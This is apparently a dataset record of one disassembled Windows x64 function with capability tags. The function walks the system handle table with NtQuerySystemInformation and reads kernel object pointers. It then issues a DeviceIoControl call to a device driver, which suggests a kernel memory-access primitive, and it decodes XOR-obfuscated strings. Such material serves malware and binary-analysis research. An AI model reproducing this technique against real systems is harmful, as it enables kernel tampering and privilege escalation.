Function at 0x140004870
Capabilities:
Allocate or change rwx memory
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rsi, qword [0x140422900]
lea r9, [rsp + 0x70]
xor edx, edx
xor r15d, r15d
xor r8d, r8d
mov dword [rsp + 0x70], r15d
mov ebx, r15d
lea ecx, [rdx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004909
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x70]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x70]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400048c0
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], r14
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm7
test eax, eax
js 0x140004ea4
test rbx, rbx
je 0x140004eba
mov edi, r15d
mov r14, r15
cmp qword [rbx], rdi
jbe 0x1400049a1
mov rax, r15
nop dword [rax + rax]
lea rax, [rax + rax*4]
movsd xmm0, qword [rbx + rax*8 + 0x30]
movups xmm7, xmmword [rbx + rax*8 + 0x10]
movups xmm6, xmmword [rbx + rax*8 + 0x20]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movdqa xmm0, xmm7
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x14000498e
movq rax, xmm6
cmp rax, rsi
je 0x14000499c
inc edi
mov eax, edi
cmp rax, qword [rbx]
jb 0x140004950
jmp 0x140004ea9
movq r14, xmm7
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x140004eba
lea r8, [r14 + 8]
mov qword [rbp - 0x30], r15
mov r9d, 8
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.140003a40
test al, al
je 0x140004ddd
mov r8, qword [rbp - 0x30]
test r8, r8
je 0x140004ddd
add r8, 8
mov qword [rbp - 0x28], r15
mov r9d, 8
lea rdx, [rbp - 0x28]
mov rcx, rsi
call fcn.140003a40
test al, al
je 0x140004d5a
mov r8, qword [rbp - 0x28]
test r8, r8
je 0x140004d5a
add r8, 0x28
mov qword [rbp - 0x38], r15
mov r9d, 8
lea rdx, [rbp - 0x38]
mov rcx, rsi
call fcn.140003a40
test al, al
je 0x140004cdb
mov r8, qword [rbp - 0x38]
test r8, r8
je 0x140004cdb
xorps xmm0, xmm0
lea rdx, [rsp + 0x78]
add r8, 0x58
mov r9d, reloc.WS2_32.dll_recv
mov rcx, rsi
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a40
test al, al
je 0x140004c3a
movzx eax, word [rsp + 0x78]
test ax, ax
je 0x140004c3a
mov ecx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14009dac8
movzx r8d, word [rsp + 0x78]
xor edx, edx
add r8, r8
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
movzx r9d, word [rsp + 0x78]
mov rdx, rbx
mov r8, qword [rbp - 0x80]
add r9, r9
mov rcx, rsi
call fcn.140003a40
mov rax, qword [rbp - 0x38]
mov word [rsp + 0x78], r15w
add rax, 0x58
je 0x140004b40
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x58], rax
lea r8, [rbp - 0x70]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x60], rcx
mov qword [rsp + 0x30], rax
mov r9d, Ordinal_45
mov dword [rsp + 0x28], r15d
mov edx, 0x80862007
mov rcx, rsi
mov qword [rsp + 0x20], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x70], gethostname
mov qword [rbp - 0x50], reloc.WS2_32.dll_recv
mov dword [rbp - 0x40], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004b40
mov rcx, rbx
call fcn.14009d470
mov al, 1
jmp 0x140004ebc
movabs rax, 0xfc4ccf4289244aef
mov qword [rbp - 0x20], rax
movabs rax, 0x2914fb93a8220a24
mov qword [rbp - 0x18], rax
movabs rax, 0xabfdb328933d50f9
mov qword [rbp - 0x10], rax
movabs rax, 0xbf3afd91c7eff46
mov qword [rbp - 8], rax
movabs rax, 0x9025ae04a9796bb4
mov qword [rbp - 0x70], rax
movabs rax, 0x5b63dbfcdc026e41
mov qword [rbp - 0x68], rax
movabs rax, 0xdd94c14cb3582490
mov qword [rbp - 0x60], rax
movabs rax, 0x2b96c2b8725e8d23
mov qword [rbp - 0x58], rax
movabs rax, 0x1e88be62bf877a6f
movabs rdx, 0x1e88d616d8e91f03
mov qword [rbp - 0x50], rax
movups xmm1, xmmword [rbp - 0x70]
movabs rcx, 0x180f20575aac11d8
mov qword [rbp], rdx
movdqa xmm0, xmmword [rbp - 0x20]
movups xmm2, xmmword [rbp - 0x60]
mov qword [rbp - 0x48], rcx
xorps xmm0, xmm1
mov qword [rbp + 8], rcx
movups xmm3, xmmword [rbp - 0x50]
movdqa xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm2
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmm3
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1400a3630]
call fcn.140007680
lea rdx, [0x140007850]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004eba
movabs rax, 0xfc4ccf4289244aef
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x20], rax
movabs rax, 0x2914fb93a8220a24
mov qword [rbp - 0x18], rax
movabs rax, 0xabfdb328933d50f9
movdqa xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xbf3afd91c7eff46
mov qword [rbp - 8], rax
movabs rax, 0x9025ae04a9796bb4
mov qword [rsp + 0x40], rax
movabs rax, 0x4072dbfcdc026e41
mov qword [rsp + 0x48], rax
movabs rax, 0xce8bda5af71d3497
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movabs rax, 0xbf3cab47d10df34
mov qword [rsp + 0x58], rax
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmm1
movdqa xmm1, xmmword [rbp - 0x10]
xorps xmm1, xmm2
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
jmp 0x140004c19
movabs rax, 0xfc4ccf4289244aef
mov qword [rbp - 0x20], rax
movabs rax, 0x2914fb93a8220a24
mov qword [rbp - 0x18], rax
movabs rax, 0xabfdb328933d50f9
mov qword [rbp - 0x10], rax
movabs rax, 0xbf3afd91c7eff46
mov qword [rbp - 8], rax
movabs rax, 0x9025ae04a9796bb4
mov qword [rbp - 0x70], rax
movabs rax, 0x4072dbfcdc026e41
mov qword [rbp - 0x68], rax
movabs rax, 0xce8bda5af71d3497
mov qword [rbp - 0x60], rax
movabs rax, 0x649adbba790da034
mov qword [rbp - 0x58], rax
movabs rax, 0x1e88d616d8e91f6d
jmp 0x140004bba
movabs rax, 0xfc4ccf4289244aef
movabs rdx, 0x1e88d616d8e91f03
mov qword [rbp - 0x20], rax
movabs rax, 0x2914fb93a8220a24
mov qword [rbp - 0x18], rax
movabs rax, 0xabfdb328933d50f9
mov qword [rbp - 0x10], rax
movabs rax, 0xbf3afd91c7eff46
mov qword [rbp - 8], rax
movabs rax, 0x9025ae04a9796bb4
mov qword [rbp - 0x70], rax
movabs rax, 0x4072dbfcdc026e41
mov qword [rbp - 0x68], rax
movabs rax, 0xce8bda5af71d3497
mov qword [rbp - 0x60], rax
movabs rax, 0x7f90cab37e11a034
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
jmp 0x140004bc8
movabs rax, 0xfc4ccf4289244aef
movabs rdx, 0x1e88d616d8e91f03
mov qword [rbp - 0x20], rax
movabs rcx, 0x180f20575aac11d8
movabs rax, 0x2914fb93a8220a24
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x18], rax
movabs rax, 0xabfdb328933d50f9
movdqa xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xbf3afd91c7eff46
mov qword [rbp - 8], rax
movabs rax, 0x9025ae04a9796bb4
mov qword [rbp - 0x70], rax
movabs rax, 0x4072dbfcdc026e41
mov qword [rbp - 0x68], rax
movabs rax, 0xc894c54df71d3497
movups xmm1, xmmword [rbp - 0x70]
mov qword [rbp - 0x60], rax
movabs rax, 0x7f90cab37e11a023
mov qword [rbp - 0x58], rax
movups xmm2, xmmword [rbp - 0x60]
mov qword [rbp - 0x48], rcx
mov qword [rbp], rdx
xorps xmm0, xmm1
movups xmm3, xmmword [rbp - 0x50]
mov qword [rbp + 8], rcx
xorps xmm2, xmmword [rbp - 0x10]
xorps xmm3, xmmword [rbp]
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x60], xmm3
jmp 0x140004c14
test rbx, rbx
je 0x140004eba
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
movaps xmm7, xmmword [rsp + 0x120]
movaps xmm6, xmmword [rsp + 0x130]
mov r14, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x160]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14009d450
mov rbx, qword [rsp + 0x170]
add rsp, 0x140
pop r15
pop rsi
pop rbp
ret